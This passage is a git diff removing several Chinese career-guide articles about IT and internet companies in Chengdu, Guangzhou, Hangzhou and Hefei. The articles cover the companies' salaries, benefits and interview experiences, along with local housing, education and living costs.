美洽科技 - - - -* 类型:智能客服、企业服务 -* 地址:成都市武侯区希顿国际B座 -* 网址:https://meiqia.com/about#joinus - -* * * - -## tap4fun - - - -* 类型:游戏、手游 -* 地址:成都市武侯区天府软件园A区 -* 网址:https://www.tap4fun.com/ - -* * * - -## 知道创宇 - - - -* 类型:信息安全 -* 地址:成都市武侯区腾讯大厦B座 -* 网址:https://www.knownsec.com/#/jobs - -* * * - -## 梦工厂 - - - -* 类型:游戏 -* 地址:成都市锦江区三色路38号博瑞创意成都 -* 网址:http://www.dreamwork.cn/join.html - -* * * - -## 其他 - -* 移花互动 - -* 盛大 - -* 抹茶美妆 - -* 咪咕音乐 - -* 速递易 - -* Tower - -* 客如云 - -* 番茄来了 - -* 三七互娱 - -* 理想生活实验室 - -* 鱼说科技 - -* 铁皮人科技 - -* 小娱wifi - -* 极企 - -* 货车帮 - -* 麦麦养老 - -* 活动家 - -* 杂志铺 - -* 麦客 - -* 文轩网 - -* ...等等 - -* * * - -最后,由于了解有限,难免会有疏漏和不当,小伙伴们可以留言补充,众人拾柴火焰高! - - ->链接:[https://mp.weixin.qq.com/s/eaX9QhLwy_VsGIH0apA4qw](https://mp.weixin.qq.com/s/eaX9QhLwy_VsGIH0apA4qw) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/cityselect/guangzhou.md b/docs/src/cityselect/guangzhou.md deleted file mode 100644 index bbaedaa35a..0000000000 --- a/docs/src/cityselect/guangzhou.md +++ /dev/null @@ -1,158 +0,0 @@ ---- -shortTitle: 广州 -category: - - 求职面试 -tag: - - 城市选择 ---- - -# 广州都有哪些值得加入的IT互联网公司? - - - -上次发完深圳的,发现广州的呼声比较高,于是我搞来了! - -广州的互联网环境相对来说还不错。 - -广州的繁华以及它的魅力不用我多说,无论从人文还是从经济来说都是不虚其它城市的。不过我在面试时发现,广州除了几个头部大厂是统一薪资标准外,相较于其它一线城市,广州的互联网行业给我的感觉是整体薪资水平偏低。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/guangzhou-0f0eb358-f7ae-46b9-b070-8b93e401735e.png) - -大家注意呀,其实学计算机相关专业的想在广州挣钱,不止可以通过互联网公司,也可以通过当公务员,教师等方式去挣钱呀。应届生考进体制内当公务员,年薪也20多万呢,并且各方面福利待遇绝对到位,相当不错了。下面我们还是分互联网公司以及国企央企研究所介绍吧。 - -声明一下,下面的内容仅代表我个人的调查结果,如果大家知道更多的信息,欢迎补充呀。 - -## 工作机会 - -### 互联网公司 - -**网易** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/guangzhou-53893155-f8cb-4bfe-b0b4-768c43c03862.png) - -网易在广州主要是游戏部门。算是网易的核心业务了。注意,网易面试时候是散装的,网易互娱、网易雷火和网易互联网是分开招聘的,我当时投简历都是分开给他们投的,同样的简历我在网站上填了三次,累死。不过好处就是你有三次机会能进网易 ~ 注意,互娱、雷火、互联网的薪资方案也是不一样的。网易的薪资方案很复杂,这里面水太深,我感觉我有点把握不住~ 我知道有人拿到sp大概就是 25k * 16吧,还会有股票。网易食堂的伙食是真的好,大部分人去了工作一段时间都胖了。 - -**微信** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/guangzhou-f4e50c0c-5214-484a-b5e9-18a20a929745.png) - -广州主要是腾讯的 wxg 事业群,也就是微信。wxg 事业群的效益非常好,能进 wxg 还是很棒的,不过面试难度也挺大的。腾讯去年校招的薪资分 17k,18.5k,20k,21.5k,23k 几个档次,hr说是应届生第一年保证18薪,不过第二年就不保证了哈。注意,腾讯开出的薪资是可以argue的,如果他给你的薪资不满意,你可以用其它offer跟腾讯的 hr argue 更高档次的薪资,有成功的。另外校招生还有签字费以及股票以及租房补贴。腾讯时不时送点小礼物,工作的舒适度还是不错的。 - -**字节跳动** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/guangzhou-a1c6a805-e7fe-450f-bd18-c24d760b60e7.png) - -广州的字节整体上不如其它地方的字节加班严重,不过也要看部门,有的部门听说挺累的。字节之前一直是大小周,前不久刚刚宣布要取消大小周,有双休还是挺幸福的,就是要少挣不少钱了,看你是不是奋斗逼了。我看到21届字节校招的薪资主要是每月20k,22k,24k,26k,28k,30k不等。不过我看校招拿到广州这边offer的大部分是22k和24k的月薪, - -**欢聚时代** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/guangzhou-7d47dd3b-924e-4af3-99e9-85c77dca3d45.png) - -大家看到欢聚时代这个名称可能有点陌生,其实 YY 和 虎牙 都是欢聚时代的。欢聚时代的薪资水平我不清楚,我问了朋友也不清楚,我就去查校招薪水上的薪资爆料。有点迷呀,去年校招,开发方向的月薪14k、16k、18k 的都有,但是这算法薪资的爆料咋还直接就 27k 呢?这也差的太多了吧。有靠谱消息的老铁欢迎来补充。 - -**唯品会** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/guangzhou-bd501c3a-05ac-4a1e-a27c-7645dc6d8ab0.png) - -唯品会算是广州本地的一霸了吧,唯品会的福利挺给力的,包三餐,双休,租房补贴。本科生开发的月薪主要集中在14k-16k。 - -**SHEIN** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/guangzhou-d805d3a7-a5b8-4e5a-a304-e59cac38baad.png) - -这家公司我熟,我就给你们展开讲讲。这家公司最近势头很猛,做跨境电商的,主要卖女装。我在去年秋招初期还面试过这家公司,面试难度比较友好。首先是 hr 给我发了个笔试链接,让我几天内找个时间做了。通过笔试后,第一轮面试,面试了大概有 30 多分钟,主要问了项目以及面试八股文,没有让写代码,然后面试就通过了。第二轮面试,面试官随便问了两个八股文问题就开始聊理想了。第三轮面试好像是他们的 cto,问我高考数学考多少分 ~ 问我上学期间大概写了多少行代码~ 然后又聊了几句就跟我结束面试了。就给我 offer了。后续hr跟我谈薪的时候说他们加班少,工资是 16k * 14,我觉得工资有点少,就没接offer。 - -**三七互娱** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/guangzhou-b7f04bcf-684c-4c89-acb2-5dc8907284a8.png) - -我了解到三七互娱后端岗位大部分是 PHP,本科生校招进来薪资大概是12k 左右吧,每年发 15个月的工资。在知乎上对三七互娱的讨论比较多,有黑点,每个部门的情况也不太一样,大家可以再去了解下呀。 - -**小鹏汽车** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/guangzhou-fbcfd7c0-79ad-48c5-ad67-471ff91666a5.png) - -小鹏汽车最近风头正盛,应届生校招进来的工资基本在 16k 左右,每年15薪。小鹏汽车目前是大小周呀,工作强度还是比较大的。 - -**酷狗音乐** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/guangzhou-4e3962cb-109e-4f2d-a372-ba325444d415.png) - -酷狗音乐是腾讯的这应该大家都知道,不过内部的薪资职级不是完全对齐的哈。酷狗的不同部门工作强度差别很大,有的闲的要死,有的忙的要死。选择部门时要注意。 - -**4399** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/guangzhou-6a8653f4-b840-4f46-af16-72fa00b9019b.png) - -4399大家应该都不陌生,好多小游戏都是从小开始玩的,工资也在16k左右。 - -好了,我算看明白了。广州互联网这边除了几个头部大厂,做开发的应届生薪资差不多就是16k呀,感觉有点低。其它的在广州设点的互联网公司我直接列到下面啦,实在写不过来了,大家有兴趣的详细了解呀。 - -分别有:科大讯飞、TCL、小鹏汽车、荔枝FM、多益游戏、太平洋、UC、CVTE、小米(目前正在建设中)、华为(正在建设中) - -### 运营商 - -感觉待遇一般,就是比较轻松,追求轻松和稳定的可以看下。 - -**移动** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/guangzhou-66cca36c-656b-4e6e-9172-f68d79e78af9.png) - -移动每月的工资很低,可能到手就五六千块钱,然后年底会一下再发五六万的年终奖,有时候会更多一些。据说 18 年效益好年底一下发了 8 万,19 年就拉跨了。 - -**联通** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/guangzhou-cc0cdb0f-034c-4a63-81f6-a17beed70b14.png) - -转正后每月到手八九千,绩效好能到手一万左右。 - -**电信** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/guangzhou-ff7fd7ae-3bf8-4797-bf07-f9490da269b9.png) - -我看到 offershow 上有做网络运维的爆料,入职第一年每月到手8.5k,年终发了3.5万。 - -### 研究所 - -**工信部第五研究所(赛宝实验室)** - -据我所知,工信部下属的研究所福利待遇各方面都是不错的、平台也很大。但是每个部门的情况也差距很大呀,去研究所一定要找到那种效益好的部门,选对了起飞,选不对就坑了。 - -**中电7所(广州通信研究所)** - -我打听了一下,这个研究所工资待遇不高,也就是图个轻松了。 - -我找了下没找到航空航天类在广州的研究所。其它类型的研究所也会招计算机相关专业的,目前计算机专业是万金油,哪里也招,不过你进了重点不是放在计算机行业的研究所,技术上的发展肯定不太好。如果有比较好的研究所也欢迎补充呀。 - -## 生活成本 - -### 房价 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/guangzhou-4b8f3cec-ca0d-4b39-9826-755cd2fe29b6.png) - -大家直接看图,相比于其它一线城市房价算是便宜了。但是按照广州互联网的工资水平想在广州差不多的区域和地段买房,压力是很大的。 - -### 教育 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/guangzhou-75763e2a-3b9b-48e4-a5dc-b0308d60e98f.png) - -广州的985大学有两所,分别是中山大学和华南理工,211也有两所是暨南大学以及华南师范大学,另外广州大学、广东工业大学等等也都不错。广州的高中也很给力,华南师范大学附属中学、广东实验中学、广东广雅中学、广州市执信中学、广州二中、六中等等学校都很不错。 - -### 医疗 - -一线城市的医疗资源肯定是没问题的,我粗略数了一下,广州有不下40所三甲医院。我了解到顶级医疗资源主要有中山系、南方系、广中医系等等。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/guangzhou-5b5c6c29-cc79-4c0b-be57-b105babd0141.png) - -### 风景&美食 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/guangzhou-4dbf092b-e820-4114-8fd8-ab7e0ac59f8d.png) - -广州的美景自然不用多说,另外空气质量也很好,说起空气质量,我这个北方人已经习惯冬天经常见不到太阳了。广州的美食也很多,白切鸡、煲仔饭和肠粉等等,还有很多我就不报菜名了,我在西安上学时食堂有个卖肠粉的窗口,我很爱吃,不过这个肠粉明显是本地化了。话说南北差异还是挺大的,我一个同学去广州上学,去洗澡带着搓澡巾,他的广州舍友都十分的好奇~ 当然广州的同学看我拍雪景也很好奇 ~ 还有一次实验室和厦门大学一起合作做项目,我和一个厦门大学的博士都要了一份豆腐脑,我加韭菜花,他加糖,我两面对面坐着都觉得对方的不能吃。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/guangzhou-1e3954bc-0b41-4302-851c-d07d382040cd.png) - - ->作者:大白,转载链接:[https://mp.weixin.qq.com/s/uZQ8p0ytsQFXzt5ppzx6fA](https://mp.weixin.qq.com/s/uZQ8p0ytsQFXzt5ppzx6fA) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/cityselect/hangzhou.md b/docs/src/cityselect/hangzhou.md deleted file mode 100644 index 7a0589b3eb..0000000000 --- a/docs/src/cityselect/hangzhou.md +++ /dev/null @@ -1,246 +0,0 @@ ---- -shortTitle: 杭州 -category: - - 求职面试 -tag: - - 城市选择 ---- - -# 杭州都有哪些值得加入的IT互联网公司? - -大家好,我是二哥呀!上期发了南京的互联网公司后,杭州的呼声非常高。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/hangzhou-1.png) - -有小伙伴在公众号后台私信催,还有小伙伴在二哥的《二哥的Java进阶之路》的开源专栏提交了 issue,那今天必须得来整一波了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/hangzhou-2.png) - -杭州的互联网公司比较多,我先列举一些大家瞅瞅(部分数据来源于好朋友 Carl 的统计)。 - -**一线的互联网公司**有: - -- 阿里巴巴(总部) -- 蚂蚁金服(总部)阿里旗下 -- 阿里云(总部)阿里旗下 -- 网易(杭州) 网易云音乐 -- 字节跳动(杭州)抖音分部 - -**外企**有: - -- ZOOM (杭州研发中心)全球知名云视频会议服务提供商 -- infosys(杭州)印度公司,据说工资相对不高 -- 思科(杭州) - -**二三线互联网**公司: - -- 滴滴(杭州) -- 快手(杭州) -- 蘑菇街(总部)女性消费者的电子商务网站 -- 有赞(总部)帮助商家进行网上开店、社交营销 -- 菜鸟网络(杭州) -- 花瓣网(总部)图片素材领导者 -- 兑吧(总部)用户运营服务平台 -- 同花顺(总部)网上股票证券交易分析软件 -- 51 信用卡(总部)信用卡管理 -- 虾米(总部)已被阿里收购 -- 曹操出行(总部) -- 口碑网 (总部) - -**硬件巨头**: - -- 海康威视(总部)安防三巨头 -- 浙江大华(总部)安防三巨头 -- 杭州宇视(总部) 安防三巨头 -- 华为(杭州) -- vivo(杭州) -- oppo(杭州) -- 魅族(杭州) - -**AI 独角兽公司**: - -- 旷视科技(杭州)人工智能产品和解决方案,Face++云平台就是他们家的产品。 -- 商汤(杭州) Ai 领域独角兽,业务涵盖智慧商业、智慧城市、智慧生活、智能汽车四大板块。 - -**创业公司**: - -- e 签宝(总部)做电子签名 -- 婚礼纪(总部)好多结婚的朋友都用 -- 大搜车(总部)中国领先的汽车交易服务供应商 -- 二更(总部)自媒体 -- 丁香园(总部) - ---- - -是不是有点应接不暇、眼花缭乱? - -那这篇文章就挑一些比较有代表性的来介绍一下。希望能对小伙伴们在选择公司的时候提供一点点参考和帮助。 - -### 字节跳动 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/hangzhou-3.png) - -- 「基本情况」 :字节总部在北京,在上海、深圳、杭州、广州、成都等地都有办公室。去年 6 月,抖音电商落户杭州。 -- 「业务方向」 :抖音电商、抖音餐饮、字节跳动广告业务、字节跳动本地生活 -- 「工作地点」 :余杭区中国杭州 5G 创新园 5 层、余杭区杭州巨量引擎网络技术有限公司 1401 -- 「福利情况」:六险一金(12%)、包三餐、免费下午茶+零食、免费健身房、Top 薪酬、住房补贴 -- 「招聘情况」:主要招聘后端(Java、Go)、前端、测试等岗位。 -- 「面试」 :面试这块的话,主要是问计算机基础知识,一般先会让你做一道算法题,算法题的难度还是比较大的。字节的面试有个好处是可以对你反复进行打捞,就是说你面挂一个部门以后,可以马上再转投另一个部门,并且好多部门是不用笔试直接进面试的。 - -### 阿里系 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/hangzhou-4.png) - -- 「基本情况」 :阿里系占据了杭州互联网的一片天,相关联的企业是在是太多了。 -- 「业务方向」 :达摩院、淘宝、菜鸟、钉钉、飞猪、盒马、支付宝、夸克、UC、书旗小说...... -- 「工作地点」 :西湖区、滨江区、余杭区...... -- 「福利情况」:7 险一金(全额住房公积金)、节日礼物、带薪假期、集体婚礼。 -- 「招聘情况」:主要招聘 Java 后端开发、数据研发、数据分析、算法工程师等岗位。 -- 「面试」 :不论是校招还是社招,技术面试问的都比较深入,通常会针对一个技术问题深入挖下去。 -- 「补充」 :加班的问题比较严重,受不了 996 的小伙伴慎重考虑。 - -### 京东 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/hangzhou-5.png) - -- 「基本情况」 :京东在杭州也有招聘,不过,招聘的岗位比较少。 -- 「业务方向」 :京东金融、京东云 -- 「工作地点」 :杭州拱墅区中国智慧信息产业园 M 座 12 楼 -- 「福利情况」:五险一金、年度体检、住房补助、餐补、带薪假期 -- 「招聘情况」:主要招聘 Java、产品经理等岗位 -- 「面试」 :京东的技术面试采用常规面试,并且问的相对简单一些,而且可以部门直招,不需要笔试。技术面试有时候是两轮,有时候是三轮。在京东如果两轮面试以后你直接遇到了 HR 对你面试,你一般就是普通 offer 了。第三轮的主管面会决定是否给你 sp。但是!据我所知,京东 HR 面挂掉的人还挺多的,所以京东的技术面走完以后还不太稳。HR 面完你以后,如果隔一段时间问了你身份证号,并核对你毕业时间后,这就很稳了。 - -### 网易 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/hangzhou-6.png) - -- 「基本情况」 :网易在杭州有一个研究院,成立于 2006 年 6 月。 -- 「业务方向」 :⽹易杭州研究院,简称“杭研”。杭研是⽹易内部的基础技术研发中⼼和前沿技术研究中⼼,在云计算、⼤数据、安全、⼈⼯智能等⽅⾯进⾏前沿技术研究、关键技术攻关和基础技术平台研发,服务⽹易系游戏、邮箱、⾳乐、电商、新闻、在线教育等产品,触达近 10 亿⽤户。 -- 「工作地点」 :杭州滨江区网易大厦二期网商路 399 号 -- 「福利情况」:运动设施、生日礼物、免费班车、五险一金、补充医疗险、重疾险、意外险、定期寿险 -- 「招聘情况」:主要招聘 Java 、前端、区块链等岗位。 -- 「面试」 :技术面试通常由 2 轮,最后 1 轮一般是 hr 面。注重项目和基本功 , 既要有广度还要有深度。 - -### 华为 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/hangzhou-7.png) - -- 「基本情况」 :华为在杭州有一个研究所。 -- 「业务方向」 :智能摄像机、云服务 -- 「工作地点」 :杭州滨江区华为技术有限公司杭州研究所 -- 「福利情况」:员工股权激励、薪资非常有竞争力。华为校招根据面试评分给应届生进行评级,本科生和硕士生的评级在 13 级 和 15 级 之间,每一级又分为 A、B、C 三个档。根据评级进行工资的评定,13 级 和 14 级 的税前工资在每月 13-19k 之间,每年 14 薪。15 级 需要特别优秀的硕士才能拿到,工资年包基本在税前 30 万 - 40 万之间。 -- 「招聘情况」:主要招聘软件开发(Java、C++)、嵌入式开发、测试等岗位。另外,华为社招一般都是 OD 模式。 -- 「面试」 :面试的话,难度一般,主要看学历。 -- 「补充」 : 华为加班比较多,压力可能会比较大。不过,薪资收入在全国绝对是 Top 级别。 - -### 中移杭研 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/hangzhou-8.png) - -- 「基本情况」 :中国移动的一个全资子公司,2014 年在杭州成立。 -- 「业务方向」 :统一认证、融合通信、魔固云 -- 「工作地点」 :杭州余杭区中国移动(杭州研发中心)余杭塘路 1600 号 -- 「福利情况」:五险两金(企业年金)、补充医疗保险、意外保险、带薪假期 -- 「招聘情况」:主要招聘前端、后端、安卓、算法等岗位。 -- 「面试」 :面试的话,难度一般,主要看学历。 - -### 之江实验室 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/hangzhou-9.png) - -- 「基本情况」 :之江实验室是浙江省委、省政府贯彻落实科技创新思想,深入实施创新驱动发展战略的重大科技创新平台。 -- 「业务方向」 :智能感知、智能计算、智能网络、智能系统 -- 「工作地点」 :杭州市余杭区文一西路 1818 号中国人工智能小镇 10 号楼 -- 「福利情况」:五险一金、Top 薪资、住房保障、优惠税收、带薪假期、餐补 -- 「招聘情况」:主要招聘软件开发、芯片设计、DevOps 、测试等岗位 -- 「面试」 :对学历要求特别高! - -### 同花顺 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/hangzhou-10.png) - -- 「基本情况」 :同花顺成立于 2001 年,总部位于杭州未来科技城,是国内第一家互联网金融信息服务业上市公司。同花顺作为一家互联网金融信息提供商,致力于为各类机构提供软件产品和系统维护服务、金融数据服务和智能推广服务,为个人投资者提供金融资讯和投资理财分析工具。 -- 「业务方向」 :旗下有多款热门投资理财类 APP。 -- 「工作地点」 :杭州余杭区同花顺新大楼总部同顺街 18 号 -- 「福利情况」:薪资中等偏上,其他福利情况未知 -- 「招聘情况」:主要招聘 Java、C++、前端、机器学习、产品经理等岗位 -- 「面试」 :技术面试难度一般,而且通常就只有一轮技术面试。这是一位去面试同花顺后端开发的朋友给我反馈的面经:“面试官非常和善。上来就让你做个自我介绍,回答哪里毕业,毕业之后在哪工作,熟悉的技术栈。然后问了为什么离职之类的。之后开始问之前做的项目,重点问你做了哪些有亮点的项目,随便答了个高并发下保证原子性的项目,然后和面试官一起讨论会不会有更好的解决办法。” - -### 51 信用卡 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/hangzhou-11.png) - -- 「基本情况」 :51 信用卡(母公司为杭州恩牛网络技术有限公司),公司创立于 2012 年,是一家服务于中国亿万信用卡用户的互联网金融公司。 -- 「业务方向」 :旗下有“51 信用卡管家”、“51 人品”、“51 人品贷”等 APP -- 「工作地点」 :杭州西湖区中节能·西溪首座 B3、杭州西湖区西溪谷 G 座 -- 「福利情况」:六险一金、生日礼物、节日贺礼、生育关怀、精彩团建、年度体检、年度旅游 -- 「招聘情况」:主要招聘 Java、前端、安全、数据仓库等岗位 -- 「面试」 :面试难度一般。技术面试一般会有 2 面,最后一面是 HR 面。 - 本土互联网公司 - -### 蘑菇街 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/hangzhou-12.png) - -- 「基本情况」 :2011 年,蘑菇街正式上线,2016 年 1 月与美丽说战略融合,公司旗下包括:蘑菇街、美丽说、uni 等产品与服务。 -- 「业务方向」 :电商 -- 「工作地点」 :杭州西湖区黄龙万科中心 G 座 -- 「福利情况」:无限的零食饮料供应、健身房、咖啡厅、 -- 「招聘情况」:主要招聘 Java 后端、前端、移动开发等岗位。 -- 「面试」 :面试难度中等。技术面试一般会有 2 面,最后一面是 HR 面。 -- 「补充」 : 据说公司的工作体验还不错! - -### 有赞 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/hangzhou-13.png) - -- 「基本情况」 :有赞,原名口袋通,2012 年 11 月 27 日在杭州贝塔咖啡馆孵化成立,是一家主要从事零售科技 SaaS 服务的企业,帮助商家进行网上开店、社交营销、提高留存复购,拓展全渠道新零售业务。2014 年 11 月 27 日,口袋通正式更名为有赞。2018 年 4 月 18 日,有赞完成在港上市。2019 年 4 月,腾讯领投有赞 10 亿港元融资。 -- 「业务方向」 :SaaS 服务(帮助商家网上开店、社交营销......)、PaaS 云服务。 -- 「工作地点」 :杭州西湖区杭州有赞科技有限公司西溪路 698 号、杭州西湖区黄龙万科中心 G 座 -- 「福利情况」:全额五险一金,公积金 12%+饭补+话费补助 -- 「招聘情况」:主要招聘后端、前端、移动开发等岗位。 -- 「面试」 :面试难度中等偏上。一般有 3 轮面试,前 2 面是技术面,最后 1 面是 HR 面。这是我的一位去面试有赞 Java 后端开发的朋友给我反馈的面经:“面试官很看重专业技能,1 面问基础,很细很广,能问的基本都问了个遍。Java 基础、多线程、JVM、RPC、限流算法、降级算法、分布式事务中间件、Redis、分布式锁......2 面跟 1 面相比差不太多,有些偏重解决问题思路。3 面交流了下个人情况也提了很多建议。” -- 「补充」 : 公司技术不错!主要招聘 Java 开发,做 Java 的可以优先考虑这家。 - -### Zoom - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/hangzhou-14.png) - -- 「基本情况」 :Zoom 是一位美国华人企业家创办的公司,主营业务就是提供视频会议服务。总部位于硅谷,国内的话,杭州、苏州、合肥均有研发中心。 -- 「业务方向」 :视频会议 -- 「工作地点」 :杭州滨江区海康威视东流路 700 号 -- 「福利情况」:全额五险一金、商业保险、餐补、年度旅游 -- 「招聘情况」:主要招聘算法、测试、Web 前端、全栈、C/C++(后端开发这块 C++招聘偏多一些)、Java、Go。 -- 「面试」 :难度一般,外企一般比较重视计算机基础知识。 -- 「补充」 : Zoom 的工作环境、企业文化什么的好评度在国内外都挺高的。不过,据说也存在部分项目组加班的情况。965 不加班,work life balance。技术氛围好,相处简单。 - -### Cisco(思科) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/hangzhou-15.png) - -- 「基本情况」 :思科系统公司(Cisco Systems, Inc.),简称思科公司或思科,1984 年 12 月正式成立,是互联网解决方案的领先提供者,其设备和软件产品主要用于连接计算机网络系统,总部位于美国加利福尼亚州圣何塞。 -- 「业务方向」 :路由器、交换机等网络基础设施 -- 「工作地点」 :杭州上城区中豪·望江国际 4 幢 20 层 -- 「福利情况」:全额五险一金、商业保险、餐补、年度旅游 -- 「招聘情况」:主要招聘 Java、前端等岗位 -- 「面试」 :难度中等偏上,外企一般比较重视计算机基础知识。 - - - ---- - -对于杭州,我印象最深刻的就是在苏州上班时和同事去乌镇-杭州的三日游了,当时阿里还没有兴起,互联网环境也没有现在这般能卷。 - -顺带再聊聊杭州的房价、教育吧。杭州的房价不忍直视啊!!!涨的实在是太厉害了! - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/hangzhou-16.png) - -杭州只有一所 985,也就是浙江大学。除了浙江大学之外,浙江省没有 211 院校。不过,杭州电子科技大学虽然不是 211,但是实力很强,外界也很认可。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/hangzhou-17.png) - ->作者:大白,转载链接:[https://mp.weixin.qq.com/s/hrL2tqXHT5AjOqrQlRhR-w](https://mp.weixin.qq.com/s/hrL2tqXHT5AjOqrQlRhR-w) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/cityselect/hefei.md b/docs/src/cityselect/hefei.md deleted file mode 100644 index 34ecca2ab1..0000000000 --- a/docs/src/cityselect/hefei.md +++ /dev/null @@ -1,151 +0,0 @@ ---- -shortTitle: 合肥 -title: 合肥都有哪些值得加入的IT互联网公司? -category: - - 求职面试 -tag: - - 城市选择 ---- - -大家好呀,我是二哥。转一下读者大白对合肥公司的总结。 - -之前在调研南京时,发现有一个说法是”安徽不能没有南京,就像东北不能没有三亚“。这句话反映出了安徽人才流失的严重。于是我就接着想调研下合肥的互联网环境。实话说,在调研以前我对合肥的印象还停留在三年前,我读研的导师(导师安徽人)和同实验室同学(本科合工大)和我说的是合肥招程序员的大公司也就是科大讯飞。但是这次调研合肥发现合肥还是有不少不错的公司,当然也基本都是这两年才成立的。 - -在合肥,中科大、合工大、安徽大学的计算机相关专业都很强,这也使得在合肥每年会产生一大批计算机相关专业的优质人才。估计这些大公司都是看重这点,近几年纷纷在合肥设立研发部门。接下来大家来看看在合肥比较好的程序员的工作机会。 - -![](https://cdn.paicoding.com/stutymore/hefei-20240811074034.png) - -# 工作机会 - -## 互联网公司 - -因为毕竟合肥城市的量级和北上广深没法比,大公司就这么多。公司类型在这里也不分的太清楚了,和互联网沾点边的企业都算互联网公司一起介绍吧。 - -### ZOOM - -![](https://cdn.paicoding.com/stutymore/hefei-20240811074045.png) - -ZOOM 可以说是合肥最好的程序员的工作机会了。在 2022 届毕业生的校招中,校招薪资大约是每月 16-20k,每年发 14 个月的薪资。另外还有 7w 美金的股票分四年发放。这个薪资水平在合肥可以生活的十分舒服了。当然,在合肥想拿这么高的薪资,自然面试难度也挺大的。ZOOM 的面试很少让手撕代码,但是对底层原理以及你的项目会问的很深。ZOOM 社招的量挺大的,在脉脉上搜 ZOOM ,愿意给你内推的人还不少。 - -Zoom 总体上是生活和工作平衡的,能在 ZOOM 工作十分惬意。但是 ZOOM 也有 PUA 的组,遇到这种组也难受。还是提醒大家,面试时一定要挑好组。 - -### 思科 - -![](https://cdn.paicoding.com/stutymore/hefei-20240811074100.png) - -在合肥,思科总体上感觉不如隔壁 ZOOM。思科在 22 届毕业生校招总包是 23.7w (22w 的基础工资和 1.7w 的年终奖)。思科的氛围还不错,加班相对也少。不太好的地方就是思科的技术一般且上班时间节奏挺快的,开会占用的时间比较多。 - -### 蔚来汽车 - -![](https://cdn.paicoding.com/stutymore/hefei-20240811074118.png) - -蔚来汽车这两年在合肥的投入还是挺大的,我前年在面试蔚来时,面试官就希望我去合肥。蔚来在合肥给的薪资特别大方,2022 届毕业生的校招薪资白菜价都每月 22.5k 了。SP 给到了 24k,SSP 27k,每年 14.5 个月的薪资。额外还有 500 股的股票分 4 年发放。对于 ssp 额外还会有签字费。可以说蔚来在合肥招人的诚意很足了。当然,蔚来能给这么多钱,自然也很卷。不止蔚来卷,近几年几家做新能源或者无人驾驶做的比较好的(比如Momenta)都很卷,想要拼一拼的可以选蔚来。想要躺平的建议选择楼下大众。 - -### 大众 - -![](https://cdn.paicoding.com/stutymore/hefei-20240811074127.png) - -大众在合肥也有 IT 研发岗,不过给的薪资水平就相对差一点。目前校招薪资水平差不多是本科生年薪 12 - 14w。硕士年薪 14 -16w。每月额外还有 1500 的房补,额外每天也有餐补。在大众绝对会比较舒服,但合肥大众的 IT 毕竟不是很核心的岗位,如果有再出来的想法,可能会不太习惯。 - -### 科大讯飞 - -![](https://cdn.paicoding.com/stutymore/hefei-20240811074140.png) - -科大讯飞是一个中科大孵化的企业,做的很大,也很成功。科大讯飞一直让人诟病的地方就是给工资十分抠抠索索,不过科大讯飞在合肥来说给的薪资也还行吧(但是科大讯飞的那个增量绩效有点恶心)。在 2022 届毕业生的校招中,校招薪资大约在 14 - 24k 这个区间。本科生大部分是 14k 的月薪,不错的本科生加上一部分硕士校招月薪是 17k,少部分能拿到 20k 的月薪。也有拿到每月 24k 的,但是这种就很少了。每年14 - 17 个月薪资,大部分人都是 14 薪。科大讯飞是靠语音起家,语音方面很不错,其它方面就和大厂有一些差距,总体来说算是中厂里面比较强的。合肥的科大讯飞加班比较重。 - -### 神策数据 - -![](https://cdn.paicoding.com/stutymore/hefei-20240811074157.png) - -神策数据这几年的发展也挺不错的,目前在北京、上海、成都、西安等多个城市都设立了研发部门。围绕数据的业务线也是挺多的,我认为前景还不错。对2022届毕业生的校招薪资是月薪 15-16k 的样子,每年15薪。整体上工作时间差不多是 1095,能双休还可以吧。 - -### 寒武纪 - -![](https://cdn.paicoding.com/stutymore/hefei-20240811074204.png) - -寒武纪暂时还算的上合肥不错的工作机会。寒武纪在合肥校招的薪资没查到,可以参考下寒武纪在西安的校招薪资 23k * 16。注意下寒武纪的岗位都是 数字ic、嵌入式、编译器开发之类的,对于纯学软件的不太合适。之前我是十分看好寒武纪的,但是寒武纪近期的负面消息也让寒武纪受到了很大影响。是否去寒武纪就看大家选择了。 